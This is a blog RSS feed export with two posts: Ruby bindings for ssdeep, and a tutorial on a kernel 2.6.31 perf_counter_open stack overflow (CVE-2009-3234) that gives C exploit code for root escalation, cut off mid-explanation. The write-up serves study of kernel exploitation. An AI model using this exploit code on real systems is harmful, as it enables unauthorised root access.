<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>redstack</title>
	<atom:link href="http://redstack.net/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://redstack.net/blog</link>
	<description>Pirates are way cooler than Ninjas, but not as much as Samuraïs</description>
	<lastBuildDate>Tue, 14 Dec 2010 17:14:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>Ssdeep Ruby Bindings</title>
		<link>http://redstack.net/blog/2010/04/10/ssdeep-ruby-bindings/</link>
		<comments>http://redstack.net/blog/2010/04/10/ssdeep-ruby-bindings/#comments</comments>
		<pubDate>Sat, 10 Apr 2010 18:24:18 +0000</pubDate>
		<dc:creator>xipe</dc:creator>
				<category><![CDATA[Hacks]]></category>

		<guid isPermaLink="false">http://redstack.net/blog/?p=195</guid>
		<description><![CDATA[As I couldn&#8217;t find any ruby bindings for ssdeep, I decided to write it as my first ruby extension today &#8230; Installation (prerequisites) You first need to compile/install the ssdeep library. On debian testing: 1 $ apt-get install ssdeep On other Linuxes/Unixes: 1 2 3 4 5 6 $ wget http://sourceforge.net/projects/ssdeep/files/ssdeep-2.4/ssdeep-2.4.tar.gz/download $ tar zxvf ssdeep-2.4.tar.gz [...]]]></description>
			<content:encoded><![CDATA[<p>As I couldn&#8217;t find any ruby bindings for <a href="http://ssdeep.sourceforge.net">ssdeep</a>, I decided to write it as my first ruby extension today &#8230; <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>Installation (prerequisites)</strong><br />
You first need to compile/install the ssdeep library.<br />
On debian testing:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="sh" style="font-family:monospace;">$ apt-get install ssdeep</pre></td></tr></table></div>

<p>On other Linuxes/Unixes:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="sh" style="font-family:monospace;">$ wget http://sourceforge.net/projects/ssdeep/files/ssdeep-2.4/ssdeep-2.4.tar.gz/download
$ tar zxvf ssdeep-2.4.tar.gz
$ cd ssdeep-2.4/
$ ./configure --prefix=/opt
$ make
$ sudo make install</pre></td></tr></table></div>

<p>On windows:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="sh" style="font-family:monospace;">$ There is no real shell, and I will not make screen-shots... ;)</pre></td></tr></table></div>

<p><strong>Installation (the real one)</strong><br />
To install it using rubygems:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="sh" style="font-family:monospace;">$ gem install ssdeep</pre></td></tr></table></div>

<p>To install it using rubygems with a non standard ssdeep installatoin path:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="sh" style="font-family:monospace;">$ gem install ssdeep -- --with-ssdeep-dir=/path/to/ssdeep</pre></td></tr></table></div>

<p><strong>Usage</strong><br />
The bindings follow the ssdeep APIs: (for extended information on this functions, check the <a target="_blank" href="http://ssdeep.sourceforge.net/api/html/fuzzy_8h.html">ssdeep API doc.</a>)<br />
<span id="more-195"></span></p>
<ul>
<li>fuzzy_compare(&#8220;3:qGOvn:qRn&#8221;, &#8220;3:Wv:Wv&#8221;): Compare two fuzzy hashes.</li>
<li>fuzzy_hash_buf(&#8220;data&#8221;): return the fuzzy hash of the data buffer.</li>
<li>fuzzy_hash_filename(&#8220;/path/to/file&#8221;): return the fuzzy hash of the file</li>
</ul>
<p><em>fuzzy_hash_file isn&#8217;t implemented.</em></p>
<p>Here is a little usage example :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="ruby" style="font-family:monospace;">  <span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'ssdeep'</span>
  <span style="color:#008000; font-style:italic;"># Fuzzy hash a buffer's content</span>
  hash1 = Ssdeep.<span style="color:#9900CC;">fuzzy_hash_buf</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;This string contains the data of first file :)&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  <span style="color:#008000; font-style:italic;"># Fuzzy hash the content of the file '/path/to/file'</span>
  hash2 = Ssdeep.<span style="color:#9900CC;">fuzzy_hash_filename</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;/path/to/file&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
  <span style="color:#008000; font-style:italic;"># Compare the 2 hashes, a value between 0 (no match) and 100 (full match) is returned</span>
  Ssdeep.<span style="color:#9900CC;">fuzzy_compare</span><span style="color:#006600; font-weight:bold;">&#40;</span>hash1, hash2<span style="color:#006600; font-weight:bold;">&#41;</span></pre></td></tr></table></div>

<p>Et voilà <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>Links</strong><br />
<a target="_blank" href="http://redstack.net/code/cgi-bin/darcsweb.cgi?r=ruby-ssdeep;a=summary">Ssdeep Ruby bindings source code</a><br />
<a target="_blank" href="http://rubygems.org/gems/ssdeep">RubyGems project page</a><br />
<a target="_blank" href="http://ssdeep.sourceforge.net">Ssdeep project page</a></p>
]]></content:encoded>
			<wfw:commentRss>http://redstack.net/blog/2010/04/10/ssdeep-ruby-bindings/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux kernel 2.6.31 perf_counter_open exploit</title>
		<link>http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit/</link>
		<comments>http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 15:07:29 +0000</pubDate>
		<dc:creator>xipe</dc:creator>
				<category><![CDATA[Cool Stuff]]></category>
		<category><![CDATA[Exploits]]></category>

		<guid isPermaLink="false">http://redstack.net/blog/?p=70</guid>
		<description><![CDATA[Well, it has been a while since my last technical post &#8230; More than 1 year ?!? Wow, time runs so fast So let&#8217;s go for a post about Linux kernel exploitation (yeah, I know, sounds cool). We will exploit a quite recent bug in kernel 2.6.31 (still unpatched while writing this) in the perf_counter_open [...]]]></description>
			<content:encoded><![CDATA[<p>Well, it has been a while since my last technical post &#8230; More than 1 year ?!? Wow, time runs so fast <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>So let&#8217;s go  for a post about Linux kernel exploitation (yeah, I know, sounds cool). We will exploit a quite recent bug in kernel 2.6.31 (still unpatched while writing this) in the perf_counter_open syscall (<a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3234">CVE 2009-3234</a>) to gain root privileges. As real hackers say, <strong>f34R</strong>.</p>
<p>But, let&#8217;s start by the begining: the bug.</p>
<p><strong><em>perf_copy_attr</em> and the dual fail</strong><br />
The <em>perf_copy_attr</em> method is meant to copy a data structure (of type <em>perf_count_attr</em>) from user space to kernel space. Its definition is:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #993333;">int</span> perf_copy_attr<span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> perf_counter_attr __user <span style="color: #339933;">*</span>uattr<span style="color: #339933;">,</span>  
                          <span style="color: #993333;">struct</span> perf_counter_attr <span style="color: #339933;">*</span>attr<span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

<p>With <em>uattr</em> being a pointer to the (source) user space structure, and <em>attr</em> being a pointer to the (destination) kernel space structure.<br />
<span id="more-70"></span><br />
Here is the <em>perf_copy_attr</em> code:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #993333;">int</span> perf_copy_attr<span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> perf_counter_attr __user <span style="color: #339933;">*</span>uattr<span style="color: #339933;">,</span>
                          <span style="color: #993333;">struct</span> perf_counter_attr <span style="color: #339933;">*</span>attr<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
        u32 size<span style="color: #339933;">;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
        ret <span style="color: #339933;">=</span> get_user<span style="color: #009900;">&#40;</span>size<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>uattr<span style="color: #339933;">-&gt;</span>size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
        <span style="color: #808080; font-style: italic;">/*
         * If we're handed a bigger struct than we know of,
         * ensure all the unknown bits are 0.
         */</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>size <span style="color: #339933;">&gt;</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>attr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> val<span style="color: #339933;">;</span>
                <span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> __user <span style="color: #339933;">*</span>addr<span style="color: #339933;">;</span>
                <span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> __user <span style="color: #339933;">*</span>end<span style="color: #339933;">;</span>
&nbsp;
                addr <span style="color: #339933;">=</span> PTR_ALIGN<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> __user <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>uattr <span style="color: #339933;">+</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>attr<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
                                <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                end  <span style="color: #339933;">=</span> PTR_ALIGN<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> __user <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>uattr <span style="color: #339933;">+</span> size<span style="color: #339933;">,</span>
                                <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">;</span> addr <span style="color: #339933;">&lt;</span> end<span style="color: #339933;">;</span> addr <span style="color: #339933;">+=</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        ret <span style="color: #339933;">=</span> get_user<span style="color: #009900;">&#40;</span>val<span style="color: #339933;">,</span> addr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ret<span style="color: #009900;">&#41;</span>
                                <span style="color: #b1b100;">return</span> ret<span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>val<span style="color: #009900;">&#41;</span>
                                <span style="color: #b1b100;">goto</span> err_size<span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
        ret <span style="color: #339933;">=</span> copy_from_user<span style="color: #009900;">&#40;</span>attr<span style="color: #339933;">,</span> uattr<span style="color: #339933;">,</span> size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Let&#8217;s look at what is happening:</p>
<p>First, <em>size</em> is copied from the user data :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>7
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">        ret <span style="color: #339933;">=</span> get_user<span style="color: #009900;">&#40;</span>size<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>uattr<span style="color: #339933;">-&gt;</span>size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Then, <em>size</em> bytes from user buffer pointed by <em>uattr</em> are copied to kernel buffer pointed by <em>attr</em>:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>32
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">        ret <span style="color: #339933;">=</span> copy_from_user<span style="color: #009900;">&#40;</span>attr<span style="color: #339933;">,</span> uattr<span style="color: #339933;">,</span> size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>This means that if the user supply <em>uattr</em> with <em>uattr->size</em> greater than the size of the buffer pointed by <em>attr</em>, the buffer will be overflowed. That&#8217;s the <em>first fail</em>.</p>
<p>But in between lines 7 and 32, there is comment followed by a block of code. This comment says:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>9
10
11
12
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">        <span style="color: #808080; font-style: italic;">/*
         * If we're handed a bigger struct than we know of,
         * ensure all the unknown bits are 0.
         */</span></pre></td></tr></table></div>

<p>Without reading the code, you would think that you can overflow the buffer only with zeros, which, while not making the exploitation impossible, makes it more difficult. But, if you read the code, you will see this:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>15
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">                <span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> __user <span style="color: #339933;">*</span>addr<span style="color: #339933;">;</span></pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">                <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">;</span> addr <span style="color: #339933;">&lt;</span> end<span style="color: #339933;">;</span> addr <span style="color: #339933;">+=</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        ret <span style="color: #339933;">=</span> get_user<span style="color: #009900;">&#40;</span>val<span style="color: #339933;">,</span> addr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ret<span style="color: #009900;">&#41;</span>
                                <span style="color: #b1b100;">return</span> ret<span style="color: #339933;">;</span>
                        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>val<span style="color: #009900;">&#41;</span>
                                <span style="color: #b1b100;">goto</span> err_size<span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>As pointer&#8217;s arithmetic says that adding 1 to a pointer adds the size of the pointed value to the offset contained in the pointer, thus <em>addr += sizeof(unsigned long)</em> adds 4*4 to the offset contained in <em>addr</em> on a 32 bits system.<br />
This means that this loop checks that 1 long equals 0 every 4 longs. That&#8217;s the <em>second fail</em></p>
<p><strong>Exploitation</strong></p>
<blockquote><p>Note:<br />
If you are not comfortable with stack based buffer overflow, you should first read this famous article from Aleph1: <a href="http://www.phrack.org/issues.html?issue=49&#038;id=14#article">Smashing The Stack For Fun And Profit</a>
</p></blockquote>
<p>The interesting thing for us is that <em>perf_copy_attr</em> is called directly from the <em>perf_counter_open</em> syscall and that the destination buffer is on the stack, so it&#8217;s a typical stack based buffer overflow :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="c" style="font-family:monospace;">SYSCALL_DEFINE5<span style="color: #009900;">&#40;</span>perf_counter_open<span style="color: #339933;">,</span>
                <span style="color: #993333;">struct</span> perf_counter_attr __user <span style="color: #339933;">*,</span> attr_uptr<span style="color: #339933;">,</span>
                pid_t<span style="color: #339933;">,</span> pid<span style="color: #339933;">,</span> <span style="color: #993333;">int</span><span style="color: #339933;">,</span> cpu<span style="color: #339933;">,</span> <span style="color: #993333;">int</span><span style="color: #339933;">,</span> group_fd<span style="color: #339933;">,</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #339933;">,</span> flags<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
        <span style="color: #993333;">struct</span> perf_counter_attr attr<span style="color: #339933;">;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
        ret <span style="color: #339933;">=</span> perf_copy_attr<span style="color: #009900;">&#40;</span>attr_uptr<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>attr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span></pre></td></tr></table></div>

<p>Now, let&#8217;s have a look at the <em>perf_counter_attr</em> structure:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
 * Hardware event to monitor via a performance monitoring counter:
 */</span>
<span style="color: #993333;">struct</span> perf_counter_attr <span style="color: #009900;">&#123;</span>
        __u32                   type<span style="color: #339933;">;</span>
        __u32                   size<span style="color: #339933;">;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span> <span style="color: #808080; font-style: italic;">/* Total struct length: 64 bytes */</span></pre></td></tr></table></div>

<p>To trigger the overflow and modify the kernel code flow, we need to make an attr buffer so:</p>
<ol>
<li><em>attr.size</em> &gt; <em>sizeof(struct perf_counter_attr)</em></li>
<li>After the first 64 bytes of our buffer, we place zeroes so the loop in <em>perf_copy_attr</em> would not kick us</li>
<li>Rewrite the <em>perf_counter_open</em> return address located in the stack to our code</li>
</ol>
<p><strong>Modifying the kernel code flow</strong></p>
<blockquote><p>Note:<br />
Before continuing, something you should remember is that the Linux kernel shares the address space of the process, so you can access to your process&#8217; memory from the kernel quite as easily as if you were accessing it from your program.</p></blockquote>
<p>The following code is self-explanatory. We start by setting <em>attr.size</em> to <em>128</em>, then the first loop fill the part of attr which will overflow with the address we want to jump to when in kernel-land, and the second loop puts 0s where needed so we will pass the loop test in <em>perf_copy_attr.</em> At the end, we just make a syscall to <em>perf_counter_open</em>.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#define SIZEOF_ATTR 64</span>
<span style="color: #339933;">#define BUFFER_LEN 128</span>
&nbsp;
<span style="color: #993333;">void</span> start<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        uint32_t <span style="color: #339933;">*</span>attr <span style="color: #339933;">=</span> malloc<span style="color: #009900;">&#40;</span>BUFFER_LEN<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        uint32_t <span style="color: #339933;">*</span>stack_overflow <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>attr <span style="color: #339933;">+</span> SIZEOF_ATTR<span style="color: #339933;">;</span>
        uint32_t <span style="color: #339933;">*</span>aligned_overflow <span style="color: #339933;">=</span> PTR_ALIGN<span style="color: #009900;">&#40;</span>stack_overflow<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        memset<span style="color: #009900;">&#40;</span>attr<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> SIZEOF_ATTR<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;">/* size is the second u32 in the struct */</span>
        attr<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">128</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>stack_overflow <span style="color: #339933;">&lt;</span> attr <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span>BUFFER_LEN <span style="color: #339933;">/</span> <span style="color: #993333;">sizeof</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>attr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
                <span style="color: #339933;">*</span>stack_overflow <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>uint32_t<span style="color: #009900;">&#41;</span>kernel_code<span style="color: #339933;">;</span>
                stack_overflow <span style="color: #339933;">++;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;">/* then put 0s where we need them ... */</span>
        <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>aligned_overflow <span style="color: #339933;">&lt;</span> attr <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span>BUFFER_LEN <span style="color: #339933;">/</span> <span style="color: #993333;">sizeof</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>attr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
                <span style="color: #339933;">*</span>aligned_overflow <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
                aligned_overflow <span style="color: #339933;">+=</span> <span style="color: #0000dd;">4</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
&nbsp;
        syscall<span style="color: #009900;">&#40;</span>__NR_perf_counter_open<span style="color: #339933;">,</span> attr<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>So, if all wants well when the <em>perf_counter_open</em> function returns, the code flow should be redirected to our code and executed with kernel privileges (ring0). </p>
<p><strong>The Kernel trip</strong><br />
What we need to do while in ring0 (kernel land), is to modify the credentials of our process to get the <em>root</em> privileges and exit the kernel. So, when back in ring3 (user land) we will start a shell from our process with the root privileges.<br />
We start by writing our kernel_code function as this:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">void</span>    kernel_code<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
        update_cred<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        exit_kernel<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><strong>Upgrading credentials</strong><br />
Credentials of a process are stored in the <em>task_struct</em>. The <em>task_struct</em> is a huge structure holding everything about a process. The current process&#8217; task_struct address is always stored on top of the kernel stack &#8211; sizeof(long).<br />
The <em>task_struct</em> can be organised in different ways depending of kernel compilation options. So, even with the address of this structure, we cannot calculate to exact position of the credential-related fields. On latest kernel, credential are stored in <em>cred</em> structure pointed by the <em>task_struct</em>.</p>
<p>Here is how the <em>task_struct</em> links the credentials:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">struct</span> task_struct <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span>
<span style="color: #808080; font-style: italic;">/* process credentials */</span>
        <span style="color: #993333;">const</span> <span style="color: #993333;">struct</span> cred <span style="color: #339933;">*</span>real_cred<span style="color: #339933;">;</span>   <span style="color: #808080; font-style: italic;">/* objective and real subjective task
                                         * credentials (COW) */</span>
        <span style="color: #993333;">const</span> <span style="color: #993333;">struct</span> cred <span style="color: #339933;">*</span>cred<span style="color: #339933;">;</span>        <span style="color: #808080; font-style: italic;">/* effective (overridable) subjective task
                                         * credentials (COW) */</span>
<span style="color: #009900;">&#91;</span>...<span style="color: #009900;">&#93;</span></pre></td></tr></table></div>

<p>And here is the <em>cred</em> structure:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">struct</span> cred <span style="color: #009900;">&#123;</span>
        atomic_t        usage<span style="color: #339933;">;</span>
        uid_t           uid<span style="color: #339933;">;</span>            <span style="color: #808080; font-style: italic;">/* real UID of the task */</span>
        gid_t           gid<span style="color: #339933;">;</span>            <span style="color: #808080; font-style: italic;">/* real GID of the task */</span>
        uid_t           suid<span style="color: #339933;">;</span>           <span style="color: #808080; font-style: italic;">/* saved UID of the task */</span>
        gid_t           sgid<span style="color: #339933;">;</span>           <span style="color: #808080; font-style: italic;">/* saved GID of the task */</span>
        uid_t           euid<span style="color: #339933;">;</span>           <span style="color: #808080; font-style: italic;">/* effective UID of the task */</span>
        gid_t           egid<span style="color: #339933;">;</span>           <span style="color: #808080; font-style: italic;">/* effective GID of the task */</span>
        uid_t           fsuid<span style="color: #339933;">;</span>          <span style="color: #808080; font-style: italic;">/* UID for VFS ops */</span>
        gid_t           fsgid<span style="color: #339933;">;</span>          <span style="color: #808080; font-style: italic;">/* GID for VFS ops */</span>
        <span style="color: #993333;">unsigned</span>        securebits<span style="color: #339933;">;</span>     <span style="color: #808080; font-style: italic;">/* SUID-less security management */</span>
        kernel_cap_t    cap_inheritable<span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* caps our children can inherit */</span>
        kernel_cap_t    cap_permitted<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* caps we're permitted */</span>
        kernel_cap_t    cap_effective<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* caps we can actually use */</span>
        kernel_cap_t    cap_bset<span style="color: #339933;">;</span>       <span style="color: #808080; font-style: italic;">/* capability bounding set */</span>
<span style="color: #339933;">#ifdef CONFIG_KEYS</span>
        <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span>   jit_keyring<span style="color: #339933;">;</span>    <span style="color: #808080; font-style: italic;">/* default keyring to attach requested
                                         * keys to */</span>
        <span style="color: #993333;">struct</span> key      <span style="color: #339933;">*</span>thread_keyring<span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* keyring private to this thread */</span>
        <span style="color: #993333;">struct</span> key      <span style="color: #339933;">*</span>request_key_auth<span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* assumed request_key authority */</span>
        <span style="color: #993333;">struct</span> thread_group_cred <span style="color: #339933;">*</span>tgcred<span style="color: #339933;">;</span> <span style="color: #808080; font-style: italic;">/* thread-group shared credentials */</span>
<span style="color: #339933;">#endif</span>
<span style="color: #339933;">#ifdef CONFIG_SECURITY</span>
        <span style="color: #993333;">void</span>            <span style="color: #339933;">*</span>security<span style="color: #339933;">;</span>      <span style="color: #808080; font-style: italic;">/* subjective LSM security */</span>
<span style="color: #339933;">#endif</span>
        <span style="color: #993333;">struct</span> user_struct <span style="color: #339933;">*</span>user<span style="color: #339933;">;</span>       <span style="color: #808080; font-style: italic;">/* real user ID subscription */</span>
        <span style="color: #993333;">struct</span> group_info <span style="color: #339933;">*</span>group_info<span style="color: #339933;">;</span>  <span style="color: #808080; font-style: italic;">/* supplementary groups for euid/fsgid */</span>
        <span style="color: #993333;">struct</span> rcu_head rcu<span style="color: #339933;">;</span>            <span style="color: #808080; font-style: italic;">/* RCU deletion hook */</span>
